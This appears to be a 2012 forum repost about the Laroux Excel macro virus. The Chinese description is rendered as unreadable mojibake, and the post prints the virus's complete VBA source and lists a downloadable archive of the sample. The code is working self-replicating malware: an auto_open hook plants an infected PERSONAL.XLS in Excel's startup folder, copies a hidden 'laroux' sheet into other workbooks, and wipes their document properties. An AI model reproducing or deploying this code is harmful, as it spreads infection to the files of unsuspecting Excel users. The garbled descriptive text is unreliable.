[Âà¶K] Laroux ¥¨¶°¯f¬rÀɭ쫬 ¼È¦s (¨ä©µ¦ùÅܺدf¬r¬°BINV.XLS/StartUp/RESULTS)

HUNGCHILIN

2012/6/8¤é¥H«áEXCEL«OÅ@«O±K§Þ¥©©«¤£¦A³]©w¾\ŪÅv­­

¯f¬r¦WºÙ¡GX97M_Laroux.A ¡A§O¦W¡GLaroux, Laroux.A, XM_Laroux ¡C¯f¬r¯SÂI¡Garoux¬O²Ä¤@­Ó¬°MS Excel½s¼gªº¥¨¶°¯f¬r¡C·í³Q¸Ó¯f¬r·P¬Vªº¤åÀÉ¥´¶}®É¡A§»Check_ files³Q³ê¿ô¡A¨Ã¥BPERSONAL.XLS³Q·P¬V¡C¨ä¥LÀɤ]·|¦b¬¡°Ê®É³Q·P¬V¡AÀÉÄݩʳ¡¤Àªº¼ÐÃD¡B¥DÃD¡B§@ªÌ¡BÃöÁä¦r©M¤º®e³Q¯f¬r²M°£¡C¸Ó¯f¬r¤£¬O¯}Ãa©Êªº¡A¥¦ªº§»¤]¤£¹ï¥Î¤áÁôÂáA¥i¥H¥ÎExcelªº¤u¨ã--¥¨¶°¿ï¶µ§ä¨ì¥¦¡C °£¤F½Æ»s¡A¸Ó¯f¬rµL­«¤j·N¸q¡C¥¦·P¬VExcel¤u§@ªí¡A³Ð«Ø¤@­Ó¦W¬°PersonalªºÁôÂäu§@ªí¡A³Q·P¬VªºÀÉ¥]§t¼Ò²Õlaroux¡A³Q·P¬Vªº¤u§@ªí¥]§t§»¡§auto_open¡¨©M¡§check_files¡¨.
¡@¡@¸Ó¯f¬r·|¦w¸Ë¤@­Ó³Q·P¬V¤åÀɨìÀɧ¨XLSTART¡A¥ô¦ó¦bÀɧ¨XLSTART¤¤ªºExcel¤åÀɦb±Ò°ÊExcel®É³Q¸Ë¸ü¯f¬r
¡C ¦pªGXLSTART¸ô®|¤U¤w¦s¦b¦W¬°PERSONAL.XLSªºÀÉ¡A¯f¬r´N¤£·|¹ï¨t²Î¶i¦æ·P¬V¡CBINV.XLS

¯f¬r­ì©l½X

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub

Laroux¯f¬r.rar (6.57 KB)

¤U¸ü¦¸¼Æ: 0

2012-2-11 01:13